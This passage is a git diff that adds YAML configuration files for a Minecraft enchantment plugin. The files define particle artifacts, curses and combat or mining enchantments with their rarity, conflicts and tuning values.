+name: "Dust Artifact" + +description: Creates dust particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/emeraldartifact.yml b/Plugin/src/main/resources/enchants/artifact/emeraldartifact.yml new file mode 100644 index 00000000..1c9a0bed --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/emeraldartifact.yml @@ -0,0 +1,39 @@ +# +# Emerald Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Emerald Artifact" + +description: Creates emerald particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/enchantmentartifact.yml b/Plugin/src/main/resources/enchants/artifact/enchantmentartifact.yml new file mode 100644 index 00000000..7b4c49f5 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/enchantmentartifact.yml @@ -0,0 +1,39 @@ +# +# Enchantment Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Enchantment Artifact" + +description: Creates enchantment particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/endartifact.yml b/Plugin/src/main/resources/enchants/artifact/endartifact.yml new file mode 100644 index 00000000..2e99183a --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/endartifact.yml @@ -0,0 +1,39 @@ +# +# End Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "End Artifact" + +description: Creates end rod particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/fireartifact.yml b/Plugin/src/main/resources/enchants/artifact/fireartifact.yml new file mode 100644 index 00000000..dbf37f7f --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/fireartifact.yml @@ -0,0 +1,39 @@ +# +# Fire Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Fire Artifact" + +description: Creates fire particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/heartartifact.yml b/Plugin/src/main/resources/enchants/artifact/heartartifact.yml new file mode 100644 index 00000000..306ac89c --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/heartartifact.yml @@ -0,0 +1,39 @@ +# +# Heart Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Heart Artifact" + +description: Creates heart particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/honeyartifact.yml b/Plugin/src/main/resources/enchants/artifact/honeyartifact.yml new file mode 100644 index 00000000..ab49ffdb --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/honeyartifact.yml @@ -0,0 +1,39 @@ +# +# Honey Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Honey Artifact" + +description: Creates dripping honey particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/inkartifact.yml b/Plugin/src/main/resources/enchants/artifact/inkartifact.yml new file mode 100644 index 00000000..4da01179 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/inkartifact.yml @@ -0,0 +1,39 @@ +# +# Ink Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Ink Artifact" + +description: Creates ink particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/lavaartifact.yml b/Plugin/src/main/resources/enchants/artifact/lavaartifact.yml new file mode 100644 index 00000000..b57d01b5 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/lavaartifact.yml @@ -0,0 +1,39 @@ +# +# Lava Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Lava Artifact" + +description: Creates dripping lava particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/magicartifact.yml b/Plugin/src/main/resources/enchants/artifact/magicartifact.yml new file mode 100644 index 00000000..e46bf678 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/magicartifact.yml @@ -0,0 +1,39 @@ +# +# Magic Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Magic Artifact" + +description: Creates magic particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/magmaartifact.yml b/Plugin/src/main/resources/enchants/artifact/magmaartifact.yml new file mode 100644 index 00000000..6b51d50d --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/magmaartifact.yml @@ -0,0 +1,39 @@ +# +# Magma Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Magma Artifact" + +description: Creates lava pop particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/musicartifact.yml b/Plugin/src/main/resources/enchants/artifact/musicartifact.yml new file mode 100644 index 00000000..ce4ba25f --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/musicartifact.yml @@ -0,0 +1,39 @@ +# +# Music Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Music Artifact" + +description: Creates note particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/netherartifact.yml b/Plugin/src/main/resources/enchants/artifact/netherartifact.yml new file mode 100644 index 00000000..eed2ce64 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/netherartifact.yml @@ -0,0 +1,39 @@ +# +# Nether Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Nether Artifact" + +description: Creates nether portal particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/redstoneartifact.yml b/Plugin/src/main/resources/enchants/artifact/redstoneartifact.yml new file mode 100644 index 00000000..70937588 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/redstoneartifact.yml @@ -0,0 +1,39 @@ +# +# Redstone Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Redstone Artifact" + +description: Creates redstone particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/smokeartifact.yml b/Plugin/src/main/resources/enchants/artifact/smokeartifact.yml new file mode 100644 index 00000000..4e931262 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/smokeartifact.yml @@ -0,0 +1,39 @@ +# +# Smoke Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Smoke Artifact" + +description: Creates smoke particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/snowartifact.yml b/Plugin/src/main/resources/enchants/artifact/snowartifact.yml new file mode 100644 index 00000000..ebe5144e --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/snowartifact.yml @@ -0,0 +1,39 @@ +# +# Snow Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Snow Artifact" + +description: Creates snow particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/sparkleartifact.yml b/Plugin/src/main/resources/enchants/artifact/sparkleartifact.yml new file mode 100644 index 00000000..301629c6 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/sparkleartifact.yml @@ -0,0 +1,39 @@ +# +# Sparkle Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Sparkle Artifact" + +description: Creates firework particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/totemartifact.yml b/Plugin/src/main/resources/enchants/artifact/totemartifact.yml new file mode 100644 index 00000000..19f4dbf1 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/totemartifact.yml @@ -0,0 +1,39 @@ +# +# Totem Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Totem Artifact" + +description: Creates totem particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/waterartifact.yml b/Plugin/src/main/resources/enchants/artifact/waterartifact.yml new file mode 100644 index 00000000..8c0217b1 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/waterartifact.yml @@ -0,0 +1,39 @@ +# +# Water Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Water Artifact" + +description: Creates dripping water particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/witchartifact.yml b/Plugin/src/main/resources/enchants/artifact/witchartifact.yml new file mode 100644 index 00000000..bb199fa3 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/witchartifact.yml @@ -0,0 +1,39 @@ +# +# Witch Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Witch Artifact" + +description: Creates witch particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/zapartifact.yml b/Plugin/src/main/resources/enchants/artifact/zapartifact.yml new file mode 100644 index 00000000..eb6e29f6 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/zapartifact.yml @@ -0,0 +1,39 @@ +# +# Zap Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Zap Artifact" + +description: Creates electric particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/curse/breaklessnesscurse.yml b/Plugin/src/main/resources/enchants/curse/breaklessnesscurse.yml new file mode 100644 index 00000000..d3cc69af --- /dev/null +++ b/Plugin/src/main/resources/enchants/curse/breaklessnesscurse.yml @@ -0,0 +1,22 @@ +# +# Curse of Breaklessness EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Curse of Breaklessness" + +description: Chance to prevent block breaking. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + +config: + chance: 15 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/curse/callingcurse.yml b/Plugin/src/main/resources/enchants/curse/callingcurse.yml new file mode 100644 index 00000000..974be06a --- /dev/null +++ b/Plugin/src/main/resources/enchants/curse/callingcurse.yml @@ -0,0 +1,24 @@ +# +# Curse of Calling EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Curse of Calling" + +description: Angers all nearby mobs. + +obtaining: + table: false + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: false + conflicts: + - mending + +config: + repeat-ticks: 20 # How often (in ticks) to call entities + distance: 20 # Entity Range \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/curse/decaycurse.yml b/Plugin/src/main/resources/enchants/curse/decaycurse.yml new file mode 100644 index 00000000..055086d0 --- /dev/null +++ b/Plugin/src/main/resources/enchants/curse/decaycurse.yml @@ -0,0 +1,25 @@ +# +# Curse of Decay EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Curse of Decay" + +description: Automatically damages items when not held. + +obtaining: + table: false + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: + - mending + - repairing + +config: + repeat-ticks: 100 # How often (in ticks) to repair items + damage: 1 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/curse/fragilitycurse.yml b/Plugin/src/main/resources/enchants/curse/fragilitycurse.yml new file mode 100644 index 00000000..fa216a43 --- /dev/null +++ b/Plugin/src/main/resources/enchants/curse/fragilitycurse.yml @@ -0,0 +1,24 @@ +# +# Curse of Fragility EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Curse of Fragility" + +description: Decreases item durability. + +obtaining: + table: false + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: false + conflicts: + - unbreaking + +config: + minimum-extra-durability: 2 #minimum extra durability lost on each usage + maximum-extra-durability: 8 #maximum extra durability lost on each usage \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/curse/harmlessnesscurse.yml b/Plugin/src/main/resources/enchants/curse/harmlessnesscurse.yml new file mode 100644 index 00000000..58a1ee07 --- /dev/null +++ b/Plugin/src/main/resources/enchants/curse/harmlessnesscurse.yml @@ -0,0 +1,22 @@ +# +# Curse of Harmlessness EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Curse of Harmlessness" + +description: Chance for attacks to do nothing. + +obtaining: + table: false + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: false + conflicts: [] + +config: + chance: 30 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/curse/hungercurse.yml b/Plugin/src/main/resources/enchants/curse/hungercurse.yml new file mode 100644 index 00000000..f7f1f2d5 --- /dev/null +++ b/Plugin/src/main/resources/enchants/curse/hungercurse.yml @@ -0,0 +1,24 @@ +# +# Curse of Hunger EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Curse of Hunger" + +description: Increases hunger loss. + +obtaining: + table: false + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: false + conflicts: + - sating + +config: + repeat-ticks: 20 # How often (in ticks) to call entities + distance: 20 # Entity Range \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/curse/misfortunecurse.yml b/Plugin/src/main/resources/enchants/curse/misfortunecurse.yml new file mode 100644 index 00000000..c5b6b6a1 --- /dev/null +++ b/Plugin/src/main/resources/enchants/curse/misfortunecurse.yml @@ -0,0 +1,23 @@ +# +# Curse of Misfortune EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Curse of Misfortune" + +description: Chance for blocks to not drop items. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: + - fortune + +config: + chance: 15 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/curse/permanencecurse.yml b/Plugin/src/main/resources/enchants/curse/permanencecurse.yml new file mode 100644 index 00000000..944177fb --- /dev/null +++ b/Plugin/src/main/resources/enchants/curse/permanencecurse.yml @@ -0,0 +1,23 @@ +# +# Curse of Permanence EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Curse of Permanence" + +description: Prevents item from being modified in an anvil. + +obtaining: + table: false + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: false + conflicts: + - mending + +config: + # No config is available for this enchantment \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/abrasion.yml b/Plugin/src/main/resources/enchants/normal/abrasion.yml new file mode 100644 index 00000000..c142513c --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/abrasion.yml @@ -0,0 +1,23 @@ +# +# Abrasion EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Abrasion" + +description: Damages your opponents armor. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + allow-not-fully-charged: false \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/aerial.yml b/Plugin/src/main/resources/enchants/normal/aerial.yml new file mode 100644 index 00000000..053b5d40 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/aerial.yml @@ -0,0 +1,23 @@ +# +# Aerial EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Aerial" + +description: Increases arrow damage when you are in air. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + damage-multiplier-per-level: 0.1 # 1 + (Level * Multiplier) is multiplied with the damage diff --git a/Plugin/src/main/resources/enchants/normal/aquatic.yml b/Plugin/src/main/resources/enchants/normal/aquatic.yml new file mode 100644 index 00000000..d35143df --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/aquatic.yml @@ -0,0 +1,23 @@ +# +# Aquatic EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Aquatic" + +description: Trident deals additional damage when shot from water. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + percent-more-per-level: 10 # Percent more damage to do per level diff --git a/Plugin/src/main/resources/enchants/normal/arcanic.yml b/Plugin/src/main/resources/enchants/normal/arcanic.yml new file mode 100644 index 00000000..ad83c96f --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/arcanic.yml @@ -0,0 +1,23 @@ +# +# Arcanic EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Arcanic" + +description: Chance to ignore potion damage. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + chance-per-point: 3 #Chance of ignoring potion damage = Total points (16 points * 3 chance = 48% chance) \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/beheading.yml b/Plugin/src/main/resources/enchants/normal/beheading.yml new file mode 100644 index 00000000..e4ae5001 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/beheading.yml @@ -0,0 +1,23 @@ +# +# Beheading EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Beheading" + +description: Chance of getting player or mob head. + +obtaining: + table: true + villager: true + loot: true + rarity: uncommon + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + chance-per-level: 10 #chance of dropping skull per level \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/blastmining.yml b/Plugin/src/main/resources/enchants/normal/blastmining.yml new file mode 100644 index 00000000..4d460b77 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/blastmining.yml @@ -0,0 +1,27 @@ +# +# Blast Mining EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Blast Mining" + +description: Mines blocks in a 3x3 area. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: + - drill + - vein + +config: + disable-on-sneak: true + hardness-check: true # Only break blocks with hardness less than or equal to first block + blacklisted-blocks: + - bedrock \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/bleed.yml b/Plugin/src/main/resources/enchants/normal/bleed.yml new file mode 100644 index 00000000..33f69bda --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/bleed.yml @@ -0,0 +1,26 @@ +# +# Bleed EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Bleed" + +description: Causes your opponent to bleed, damaging them repeatedly. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + chance-per-level: 5 #chance of bleeding per level + allow-not-fully-charged: false #dont require sword attack to be at full charge + bleed-damage: 1 + amount-per-level: 2 # Bleed number per level diff --git a/Plugin/src/main/resources/enchants/normal/bosshunter.yml b/Plugin/src/main/resources/enchants/normal/bosshunter.yml new file mode 100644 index 00000000..0a265f1f --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/bosshunter.yml @@ -0,0 +1,23 @@ +# +# Boss Hunter EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Boss Hunter" + +description: Increases damage against bosses. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + multiplier: 0.2 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/buckshot.yml b/Plugin/src/main/resources/enchants/normal/buckshot.yml new file mode 100644 index 00000000..47489fac --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/buckshot.yml @@ -0,0 +1,27 @@ +# +# Buckshot EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Buckshot" + +description: Shoots multiple arrows spread out. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: + - succession + - pentashot + - tripleshot + maximum-level: 2 + +config: + amount-per-level: 3 # Arrows to shoot per level + spread-per-level: 0.2 # Spread randomness per level \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/butchering.yml b/Plugin/src/main/resources/enchants/normal/butchering.yml new file mode 100644 index 00000000..7f4dcb3b --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/butchering.yml @@ -0,0 +1,29 @@ +# +# Butchering EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Butchering" + +description: Increases damage against passive mobs. + +obtaining: + table: true + villager: true + loot: true + rarity: common + +general-config: + grindstoneable: true + conflicts: + - sharpness + - bane_of_arthropods + - smite + - defusion + - razor + - ender_slayer + maximum-level: 5 + +config: + bonus-per-level: 2.5 # Damage to creepers = base damage + (level * bonus), eg Defusion 5 will do 12.5 more damage to creepers \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/cerebral.yml b/Plugin/src/main/resources/enchants/normal/cerebral.yml new file mode 100644 index 00000000..d8722114 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/cerebral.yml @@ -0,0 +1,23 @@ +# +# Cerebral EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Cerebral" + +description: Increases damage on headshots. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + multiplier: 0.05 # Damage = level * multiplier + 1. Headshot with Cerebral 5 = 5 * 0.05 + 1 = 1.25x damage \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/chopless.yml b/Plugin/src/main/resources/enchants/normal/chopless.yml new file mode 100644 index 00000000..1839e5e0 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/chopless.yml @@ -0,0 +1,23 @@ +# +# Chopless EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Chopless" + +description: Reduces damage dealt by axes. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + percent-less-per-level: 1.5 # Points * Percent less / 100 * damage = damage taken \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/cleave.yml b/Plugin/src/main/resources/enchants/normal/cleave.yml new file mode 100644 index 00000000..47546eea --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/cleave.yml @@ -0,0 +1,25 @@ +# +# Cleave EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Cleave" + +description: Damage all entities around attacked entity. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: + - carve + maximum-level: 4 + +config: + damage-percentage-per-level: 10 + radius-per-level: 1 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/collateral.yml b/Plugin/src/main/resources/enchants/normal/collateral.yml new file mode 100644 index 00000000..5eaf2ae1 --- 